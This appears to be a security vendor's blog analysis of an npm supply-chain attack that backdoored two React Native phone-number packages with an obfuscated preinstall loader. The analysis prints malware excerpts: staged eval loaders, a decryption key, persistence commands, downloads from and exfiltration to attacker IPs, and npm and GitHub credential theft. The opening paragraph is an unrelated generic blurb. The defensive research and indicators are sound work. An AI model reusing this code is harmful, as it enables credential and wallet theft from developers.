

# Glassworm Strikes Popular React Native Phone Number Packages

 [aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers](https://aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers)

Raphael Silva

March 16, 2026

I recently discovered that my React Native phone number package was affected by a security issue. The package, which I had been using for some time, was found to have a vulnerability that could allow an attacker to gain access to the package's internal state. This is a serious issue, as it could allow an attacker to steal sensitive information or even take control of the package. I immediately contacted the package maintainer and reported the issue. The maintainer has since released a patch to address the vulnerability, and I have updated my package to the latest version. I am grateful to the maintainer for their quick response and for the transparency of the security process. I will continue to monitor the package for any further updates and will ensure that my code is always up-to-date with the latest version of the package.

[Blog](#)

/

## Vulnerabilities & Threats

### **Matching March 16, 2026, releases added obfuscated preinstall malware to packages from the same publisher**

On March 16, 2026, two React Native npm packages from the [Astr00nauta](#) were backdoored in a coordinated supply chain attack. Both releases added an identical install-time loader that fetches and executes a multi-stage Windows credential and crypto stealer, triggered by nothing more than a routine `npm install`. The affected packages are [react-native-country-select@0.3.91](#) and [react-native-international-phone-number@0.11.8](#).

In both cases, the malicious code is introduced through a new `preinstall` hook that runs before a normal npm installation completes, which means developers, CI runners, and build agents can trigger the malware just by installing the package.

By following the same chain the malware uses, we recovered the live stage-two artifact and decrypted the follow-on payload. That deeper payload is a Windows-focused crypto and credential stealer with persistence and the ability to deliver additional components.

On March 16, 2026, the npm downloads API reported 9,072 downloads in the last week for [react-native-country-select](#) and 20,691 for [react-native-international-phone-number](#), for a combined 29,763 weekly downloads. Over the last month, the same API reported 42,589 and 92,298 downloads, respectively, for a combined 134,887 monthly downloads.

## **What Happened**

---

The previous adjacent versions we checked, [react-native-country-select@0.3.9](#) and [react-native-international-phone-number@0.11.7](#), do not include a `preinstall` hook and do not ship the malicious installer. The March 16, 2026, releases add both.

The timeline:

- [react-native-international-phone-number@0.11.8](#) was published on March 16, 2026, at 10:49:29 UTC.
- [react-native-country-select@0.3.91](#) was published on March 16, 2026, at 10:54:18 UTC.
- The prior adjacent versions for both packages were published on March 13, 2026.

That pattern suggests a same-day compromise window affecting multiple packages from the same publisher.

# How The Malware Worked

---

## Step 1: Install-Time Execution

---

Both malicious releases add the same package lifecycle hook:

```
"scripts": {  
  "preinstall": "node install.js"  
}
```

The `install.js` file is obfuscated, reaches out to external infrastructure, fetches a second-stage payload, and executes it dynamically.

The original shipped installer shows the Solana RPC fetch directly:

```
let y = await fetch(S, {  
  'method': e(0x45b, 'nSeb', 0x48f, 0x42b),  
  'headers': M,  
  'body': JSON[d(0x473, 'kjpV', 0x42d, 0x471)]({  
    'jsonrpc': e(0x42c, 'qo^', 0x477, 0x425),  
    'id': 0x1,  
    'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3,  
0x4d3),  
    'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]  
  })  
});
```

Later in the same original file, the installer executes the fetched payload:

```
if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {  
  eval(atob(u));  
  return;  
}  
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'wZok', 0x4f8, 0x543)) {  
  let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');  
  eval(atob(u));  
}
```

This is staged code execution during package installation.

## Step 2: Russian Locale Check

---

The installer does not run blindly everywhere. It includes an explicit environment filter for Russian language and timezone signals before proceeding. In the original shipped code, it checks values such as `ru_RU`, `ru-RU`, `Russian`, and `russian`:

```
let n = [
  h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
  process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk', 0x6cb, 0x636, 0x675)],
  process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
  process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
  Intl[
    B('uDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
  ]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
  u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);
```

The same block also checks timezone names and UTC offsets associated with Russia. That kind of geographic or linguistic exclusion is common in criminal malware, especially ones coming from Russia or Russian-speaking threat actors.

## Step 3: Solana Memo Retrieval And Stage-Two Delivery

---

We followed the same steps as the malware:

1. Extract the Solana account from the obfuscated installer.
2. Query the same `getSignaturesForAddress` RPC method the package uses.
3. Recover the transaction memo that contains a base64-encoded `link`.
4. Fetch that URL as inert content and preserve the HTTP response headers.
5. Decode the returned body and inspect the next layer statically.
6. Use the returned `secretkey` and `ivbase64` values to decrypt the embedded payload without executing it.

The fetched stage-two response supplied exactly the material needed to decrypt the next layer:

```
secretkey: szfNmayz6fgt6ojbAuVhjEA0WMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==
```

The recovered stage-two URL was:

```
http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCm0JKipASADg%3D%3D
```

And the fetched stage-two body begins as another original decryptor script:

```
var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-
cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...
```

## Step 4: The Recovered Third Stage Persists And Pulls More Components

---

The AES-decrypted payload is the recovered third stage. This is where the chain becomes a Windows-focused stealer and downloader.

It sets up persistence through `schtasks` and the `Run` registry key:

```
schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File
${ps1Path}" / sc onstart / rl highest / f$Path =
"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $Path - Name $randomName - PropertyType String - Value $command
- Force
```

It also writes a `~\\init.json` state file and reuses it as a persistence and execution guard:

```
const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
  init: true,
  update: null,
  date: new Date().getTime(),
  version: '2.27',
  uuid: data?.uuid ? data.uuid : makeid(14)
}));
```

## Step 5: The Third Stage Uses Google Calendar As A Further Indirection Layer

---

The Google Calendar URL appears later, inside the recovered third-stage JavaScript, where that third stage uses `calendar.app.google` to recover a base64-encoded slug before requesting yet another script from `45[.]32[.]150[.]251`.

This is the original code:

```
QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2x1LzJ0a3JjS0tqNFQ2RG40dUs2'), (err,
link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {
```

So in order, the chain is:

1. npm `preinstall` runs `install.js`
2. `install.js` queries Solana RPC and fetches stage two
3. Stage two decrypts and executes stage three
4. Stage three reaches out to Google Calendar
5. Stage three uses the recovered slug to fetch additional content from `45[.]32[.]150[.]251`

That indirection matters because it gives the operators a flexible control point later in the chain. They can change the downstream path without republishing the npm package, and the use of a Google-owned URL may help the chain blend into otherwise normal traffic.

This is also interesting in a broader research context. Last year, we published a writeup on malware delivery via Google Calendar invites and PUAs, check it out here to learn more about it: [You're invited! Delivering malware via Google Calendar invites and PUAs.](#)

## Evidence

---

The strongest evidence is that the loader introduced into both packages is byte-identical. The `install.js` file in both malicious releases has SHA-256:

```
59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26
```

The version diffs are also unusually clean. For both packages, the malicious behavior is introduced by the same two changes:

- a new `install.js`
- a new `preinstall` entry in `package.json`

For `react-native-country-select`, the malicious jump is from `0.3.9` to `0.3.91`.

For `react-native-international-phone-number`, the malicious jump is from `0.11.7` to `0.11.8`.

One detail makes the case even more interesting: `react-native-international-phone-number@0.11.8` depends on `react-native-country-select@0.3.9`, which appears to be the earlier clean adjacent version, not the malicious `0.3.91`. That suggests the second package was also directly backdoored instead of merely inheriting the issue from a dependency bump.

## What The Recovered Payload Does

---

The recovered third stage is a Windows-focused stealer and downloader.

One thing we under-emphasized in the first draft is that the payload does not just steal a few wallet files and stop there. It also builds its own execution environment, walks browser-related storage paths, and stages data for collection under the victim profile.

It then downloads additional components, decrypts bundled `.node` files, runs them, and exfiltrates the staged collection:

```
http.get("http://45.32.150.251/get_arhive_npm/KQn09Ly1lbN0ZfDWq8afrQ%3D%3D", (res) => {
  ...
  childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
    ...
    const options2 = { hostname: "217.69.3.152", port: 80, path: "/wall", method: "POST",
```

The same payload contains wallet-targeting logic for browser extensions and desktop wallets, including MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet, and Trust Wallet. It also steals npm and GitHub credentials:

```
const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//,
""}}:_authToken`).toString().trim());
...
const output = childProcess.execSync("git credential fill", { input:
"protocol=https\nhost=github.com\n\n", encoding: "utf8"});
```

By this point, the recovered payload is a complete credential-and-wallet-theft chain.

## Additional Takeaways

---

The recovered third stage also downloads a full Node.js runtime from [nodejs.org](https://nodejs.org), both x86 and x64, into `%APPDATA%\_node_x86` and `%APPDATA%\_node_x64`. That gives the malware a dependable execution environment even if Node.js is not already present on the victim system:

```
const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");
```

The same payload also walks browser-related profile storage. In the recovered JavaScript, it searches for `"User Data"` and `"Firefox"` directories and then copies targeted wallet and extension storage out of those locations after killing browser processes:

```
var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi",
"Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
    t.push(filePath);
}
```

That is consistent with theft from Chromium-family browser profiles and Firefox-related paths. We can directly verify wallet-extension targeting from the recovered script because it contains extension identifiers for MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet, and many others, plus desktop wallet storage paths such as `exodus.wallet`, `wallets`, and `Local Storage\\leveldb`.

## Conclusion

---

This case looks like a coordinated npm supply-chain event affecting at least two React Native packages from the same publisher on the same day. The most important detail is not just that both releases are malicious, but that they were modified in the same way, within minutes of each other, with the same staged loader.

Following the staged chain makes the impact much clearer. The installer does not merely beacon or test the environment. It leads to a decrypted Windows payload that persists, downloads more components, steals wallet data, steals npm and GitHub credentials, and exfiltrates collected archives to attacker-controlled infrastructure.

## Indicators Of Compromise

---

Malicious packages:

- `react-native-country-select@0.3.91`
- `react-native-international-phone-number@0.11.8`

Shared loader hash:

`59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26`

Related domains:

- `socket[.]network`
- `n[.]xyz`
- `p[.]link`
- `45[.]32[.]150[.]251`
- `217[.]69[.]3[.]152`
- `calendar[.]app[.]google/2NkrckKj4T6Dn4uK6`

## Detection and Protection

---

If you already use Aikido, these packages would be flagged in your feed as a 100/100 critical finding.

Not on Aikido yet? [Create a free account](#) and link your repositories. The free plan includes our malware detection coverage (no credit card required).

Finally, a tool that can stop supply-chain malware in real time as they appear can prevent a serious infection. This is the idea behind [Aikido Safe Chain](#), a free and open-source tool that wraps around [npm](#), `npx`, `yarn`, `pnpm`, and `pnpx` and uses both AI and human malware researchers to detect and block the latest supply chain risks before they enter your environment.

Last updated on:

Mar 18, 2026

**Subscribe for threat news.**

---